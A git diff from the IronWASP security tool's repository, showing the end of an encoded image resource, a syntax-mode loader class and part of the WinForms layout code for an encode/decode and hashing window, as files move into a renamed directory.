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 + + + \ No newline at end of file diff --git a/IronWASP/EditorSyntaxModesProvider.cs b/Iron/EditorSyntaxModesProvider.cs similarity index 96% rename from IronWASP/EditorSyntaxModesProvider.cs rename to Iron/EditorSyntaxModesProvider.cs index 94e1d2f..eb835a6 100644 --- a/IronWASP/EditorSyntaxModesProvider.cs +++ b/Iron/EditorSyntaxModesProvider.cs @@ -1,66 +1,66 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Text; -using System.IO; -using System.Xml; -using ICSharpCode.TextEditor; -using ICSharpCode.TextEditor.Document; - -namespace IronWASP -{ - internal class EditorSyntaxModesProvider : ISyntaxModeFileProvider - { - List syntaxModes = null; - - public ICollection SyntaxModes - { - get - { - return syntaxModes; - } - } - - public EditorSyntaxModesProvider() - { - StreamReader ModesXml = new StreamReader(Config.RootDir + "\\SyntaxModes.xml"); - - if (ModesXml.BaseStream != null) - { - syntaxModes = SyntaxMode.GetSyntaxModes(ModesXml.BaseStream); - } - else - { - syntaxModes = new List(); - } - } - - public XmlTextReader GetSyntaxModeFile(SyntaxMode syntaxMode) - { - XmlTextReader Xml = new XmlTextReader(syntaxMode.FileName); - return Xml; - } - - public void UpdateSyntaxModeList() - { - // resources don't change during runtime - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; +using System.IO; +using System.Xml; +using ICSharpCode.TextEditor; +using ICSharpCode.TextEditor.Document; + +namespace IronWASP +{ + internal class EditorSyntaxModesProvider : ISyntaxModeFileProvider + { + List syntaxModes = null; + + public ICollection SyntaxModes + { + get + { + return syntaxModes; + } + } + + public EditorSyntaxModesProvider() + { + StreamReader ModesXml = new StreamReader(Config.RootDir + "\\SyntaxModes.xml"); + + if (ModesXml.BaseStream != null) + { + syntaxModes = SyntaxMode.GetSyntaxModes(ModesXml.BaseStream); + } + else + { + syntaxModes = new List(); + } + } + + public XmlTextReader GetSyntaxModeFile(SyntaxMode syntaxMode) + { + XmlTextReader Xml = new XmlTextReader(syntaxMode.FileName); + return Xml; + } + + public void UpdateSyntaxModeList() + { + // resources don't change during runtime + } + } +} diff --git a/IronWASP/EncodeDecodeWindow.Designer.cs b/Iron/EncodeDecodeWindow.Designer.cs similarity index 91% rename from IronWASP/EncodeDecodeWindow.Designer.cs rename to Iron/EncodeDecodeWindow.Designer.cs index c75fc51..e8e7770 100644 --- a/IronWASP/EncodeDecodeWindow.Designer.cs +++ b/Iron/EncodeDecodeWindow.Designer.cs @@ -1,404 +1,431 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -namespace IronWASP -{ - partial class EncodeDecodeWindow - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(EncodeDecodeWindow)); - this.EncDecBaseSplit = new System.Windows.Forms.SplitContainer(); - this.EncDecRightSplit = new System.Windows.Forms.SplitContainer(); - this.InputTB = new IronWASP.TextBoxPlus(); - this.label1 = new System.Windows.Forms.Label(); - this.OutputTB = new IronWASP.TextBoxPlus(); - this.label2 = new System.Windows.Forms.Label(); - this.EncodeOutToEncodeInBtn = new System.Windows.Forms.Button(); - this.SHA512Btn = new System.Windows.Forms.Button(); - this.SHA384Btn = new System.Windows.Forms.Button(); - this.SHA256Btn = new System.Windows.Forms.Button(); - this.SHA1Btn = new System.Windows.Forms.Button(); - this.MD5Btn = new System.Windows.Forms.Button(); - this.Base64DecodeBtn = new System.Windows.Forms.Button(); - this.HexDecodeBtn = new System.Windows.Forms.Button(); - this.HtmlDecodeBtn = new System.Windows.Forms.Button(); - this.UrlDecodeBtn = new System.Windows.Forms.Button(); - this.ToHexBtn = new System.Windows.Forms.Button(); - this.Base64EncodeBtn = new System.Windows.Forms.Button(); - this.HexEncodeBtn = new System.Windows.Forms.Button(); - this.HtmlEncodeBtn = new System.Windows.Forms.Button(); - this.UrlEncodeBtn = new System.Windows.Forms.Button(); - this.StatusTB = new System.Windows.Forms.TextBox(); - this.label3 = new System.Windows.Forms.Label(); - this.EncDecBaseSplit.Panel1.SuspendLayout(); - this.EncDecBaseSplit.Panel2.SuspendLayout(); - this.EncDecBaseSplit.SuspendLayout(); - this.EncDecRightSplit.Panel1.SuspendLayout(); - this.EncDecRightSplit.Panel2.SuspendLayout(); - this.EncDecRightSplit.SuspendLayout(); - this.SuspendLayout(); - // - // EncDecBaseSplit - // - this.EncDecBaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; - this.EncDecBaseSplit.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; - this.EncDecBaseSplit.IsSplitterFixed = true; - this.EncDecBaseSplit.Location = new System.Drawing.Point(0, 0); - this.EncDecBaseSplit.Margin = new System.Windows.Forms.Padding(0); - this.EncDecBaseSplit.Name = "EncDecBaseSplit"; - // - // EncDecBaseSplit.Panel1 - // - this.EncDecBaseSplit.Panel1.Controls.Add(this.EncDecRightSplit); - // - // EncDecBaseSplit.Panel2 - // - this.EncDecBaseSplit.Panel2.Controls.Add(this.EncodeOutToEncodeInBtn); - this.EncDecBaseSplit.Panel2.Controls.Add(this.SHA512Btn); - this.EncDecBaseSplit.Panel2.Controls.Add(this.SHA384Btn); - this.EncDecBaseSplit.Panel2.Controls.Add(this.SHA256Btn); - this.EncDecBaseSplit.Panel2.Controls.Add(this.SHA1Btn); - this.EncDecBaseSplit.Panel2.Controls.Add(this.MD5Btn); - this.EncDecBaseSplit.Panel2.Controls.Add(this.Base64DecodeBtn); - this.EncDecBaseSplit.Panel2.Controls.Add(this.HexDecodeBtn); - this.EncDecBaseSplit.Panel2.Controls.Add(this.HtmlDecodeBtn); - this.EncDecBaseSplit.Panel2.Controls.Add(this.UrlDecodeBtn); - this.EncDecBaseSplit.Panel2.Controls.Add(this.ToHexBtn); - this.EncDecBaseSplit.Panel2.Controls.Add(this.Base64EncodeBtn); - this.EncDecBaseSplit.Panel2.Controls.Add(this.HexEncodeBtn); - this.EncDecBaseSplit.Panel2.Controls.Add(this.HtmlEncodeBtn); - this.EncDecBaseSplit.Panel2.Controls.Add(this.UrlEncodeBtn); - this.EncDecBaseSplit.Panel2.Controls.Add(this.StatusTB); - this.EncDecBaseSplit.Panel2.Controls.Add(this.label3); - this.EncDecBaseSplit.Size = new System.Drawing.Size(784, 561); - this.EncDecBaseSplit.SplitterDistance = 603; - this.EncDecBaseSplit.SplitterWidth = 2; - this.EncDecBaseSplit.TabIndex = 0; - // - // EncDecRightSplit - // - this.EncDecRightSplit.Dock = System.Windows.Forms.DockStyle.Fill; - this.EncDecRightSplit.Location = new System.Drawing.Point(0, 0); - this.EncDecRightSplit.Margin = new System.Windows.Forms.Padding(0); - this.EncDecRightSplit.Name = "EncDecRightSplit"; - this.EncDecRightSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; - // - // EncDecRightSplit.Panel1 - // - this.EncDecRightSplit.Panel1.Controls.Add(this.InputTB); - this.EncDecRightSplit.Panel1.Controls.Add(this.label1); - // - // EncDecRightSplit.Panel2 - // - this.EncDecRightSplit.Panel2.Controls.Add(this.OutputTB); - this.EncDecRightSplit.Panel2.Controls.Add(this.label2); - this.EncDecRightSplit.Size = new System.Drawing.Size(603, 561); - this.EncDecRightSplit.SplitterDistance = 269; - this.EncDecRightSplit.SplitterWidth = 2; - this.EncDecRightSplit.TabIndex = 0; - // - // InputTB - // - this.InputTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.InputTB.Location = new System.Drawing.Point(0, 20); - this.InputTB.Name = "InputTB"; - this.InputTB.ReadOnly = false; - this.InputTB.Size = new System.Drawing.Size(603, 249); - this.InputTB.TabIndex = 2; - // - // label1 - // - this.label1.AutoSize = true; - this.label1.Location = new System.Drawing.Point(3, 4); - this.label1.Name = "label1"; - this.label1.Size = new System.Drawing.Size(34, 13); - this.label1.TabIndex = 1; - this.label1.Text = "Input:"; - // - // OutputTB - // - this.OutputTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.OutputTB.Location = new System.Drawing.Point(0, 20); - this.OutputTB.Name = "OutputTB"; - this.OutputTB.ReadOnly = false; - this.OutputTB.Size = new System.Drawing.Size(603, 270); - this.OutputTB.TabIndex = 3; - // - // label2 - // - this.label2.AutoSize = true; - this.label2.Location = new System.Drawing.Point(3, 4); - this.label2.Name = "label2"; - this.label2.Size = new System.Drawing.Size(42, 13); - this.label2.TabIndex = 2; - this.label2.Text = "Output:"; - // - // EncodeOutToEncodeInBtn - // - this.EncodeOutToEncodeInBtn.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left))); - this.EncodeOutToEncodeInBtn.BackColor = System.Drawing.Color.Transparent; - this.EncodeOutToEncodeInBtn.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("EncodeOutToEncodeInBtn.BackgroundImage"))); - this.EncodeOutToEncodeInBtn.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Center; - this.EncodeOutToEncodeInBtn.FlatStyle = System.Windows.Forms.FlatStyle.Flat; - this.EncodeOutToEncodeInBtn.ForeColor = System.Drawing.Color.Transparent; - this.EncodeOutToEncodeInBtn.Location = new System.Drawing.Point(4, 226); - this.EncodeOutToEncodeInBtn.Name = "EncodeOutToEncodeInBtn"; - this.EncodeOutToEncodeInBtn.Size = new System.Drawing.Size(35, 96); - this.EncodeOutToEncodeInBtn.TabIndex = 32; - this.EncodeOutToEncodeInBtn.UseVisualStyleBackColor = false; - this.EncodeOutToEncodeInBtn.Click += new System.EventHandler(this.EncodeOutToEncodeInBtn_Click); - // - // SHA512Btn - // - this.SHA512Btn.Location = new System.Drawing.Point(45, 458); - this.SHA512Btn.Name = "SHA512Btn"; - this.SHA512Btn.Size = new System.Drawing.Size(126, 23); - this.SHA512Btn.TabIndex = 31; - this.SHA512Btn.Text = "SHA512(Input)"; - this.SHA512Btn.UseVisualStyleBackColor = true; - this.SHA512Btn.Click += new System.EventHandler(this.SHA512Btn_Click); - // - // SHA384Btn - // - this.SHA384Btn.Location = new System.Drawing.Point(45, 429); - this.SHA384Btn.Name = "SHA384Btn"; - this.SHA384Btn.Size = new System.Drawing.Size(126, 23); - this.SHA384Btn.TabIndex = 30; - this.SHA384Btn.Text = "SHA384(Input)"; - this.SHA384Btn.UseVisualStyleBackColor = true; - this.SHA384Btn.Click += new System.EventHandler(this.SHA384Btn_Click); - // - // SHA256Btn - // - this.SHA256Btn.Location = new System.Drawing.Point(45, 402); - this.SHA256Btn.Name = "SHA256Btn"; - this.SHA256Btn.Size = new System.Drawing.Size(126, 23); - this.SHA256Btn.TabIndex = 29; - this.SHA256Btn.Text = "SHA256(Input)"; - this.SHA256Btn.UseVisualStyleBackColor = true; - this.SHA256Btn.Click += new System.EventHandler(this.SHA256Btn_Click); - // - // SHA1Btn - // - this.SHA1Btn.Location = new System.Drawing.Point(45, 373); - this.SHA1Btn.Name = "SHA1Btn"; - this.SHA1Btn.Size = new System.Drawing.Size(126, 23); - this.SHA1Btn.TabIndex = 28; - this.SHA1Btn.Text = "SHA1(Input)"; - this.SHA1Btn.UseVisualStyleBackColor = true; - this.SHA1Btn.Click += new System.EventHandler(this.SHA1Btn_Click); - // - // MD5Btn - // - this.MD5Btn.Location = new System.Drawing.Point(45, 344); - this.MD5Btn.Name = "MD5Btn"; - this.MD5Btn.Size = new System.Drawing.Size(126, 23); - this.MD5Btn.TabIndex = 27; - this.MD5Btn.Text = "MD5(Input)"; - this.MD5Btn.UseVisualStyleBackColor = true; - this.MD5Btn.Click += new System.EventHandler(this.MD5Btn_Click); - // - // Base64DecodeBtn - // - this.Base64DecodeBtn.Location = new System.Drawing.Point(45, 289); - this.Base64DecodeBtn.Name = "Base64DecodeBtn"; - this.Base64DecodeBtn.Size = new System.Drawing.Size(126, 23); - this.Base64DecodeBtn.TabIndex = 26; - this.Base64DecodeBtn.Text = "Base64Decode(Input)"; - this.Base64DecodeBtn.UseVisualStyleBackColor = true; - this.Base64DecodeBtn.Click += new System.EventHandler(this.Base64DecodeBtn_Click); - // - // HexDecodeBtn - // - this.HexDecodeBtn.Location = new System.Drawing.Point(45, 260); - this.HexDecodeBtn.Name = "HexDecodeBtn"; - this.HexDecodeBtn.Size = new System.Drawing.Size(126, 23); - this.HexDecodeBtn.TabIndex = 25; - this.HexDecodeBtn.Text = "HexDecode(Input)"; - this.HexDecodeBtn.UseVisualStyleBackColor = true; - this.HexDecodeBtn.Click += new System.EventHandler(this.HexDecodeBtn_Click); - // - // HtmlDecodeBtn 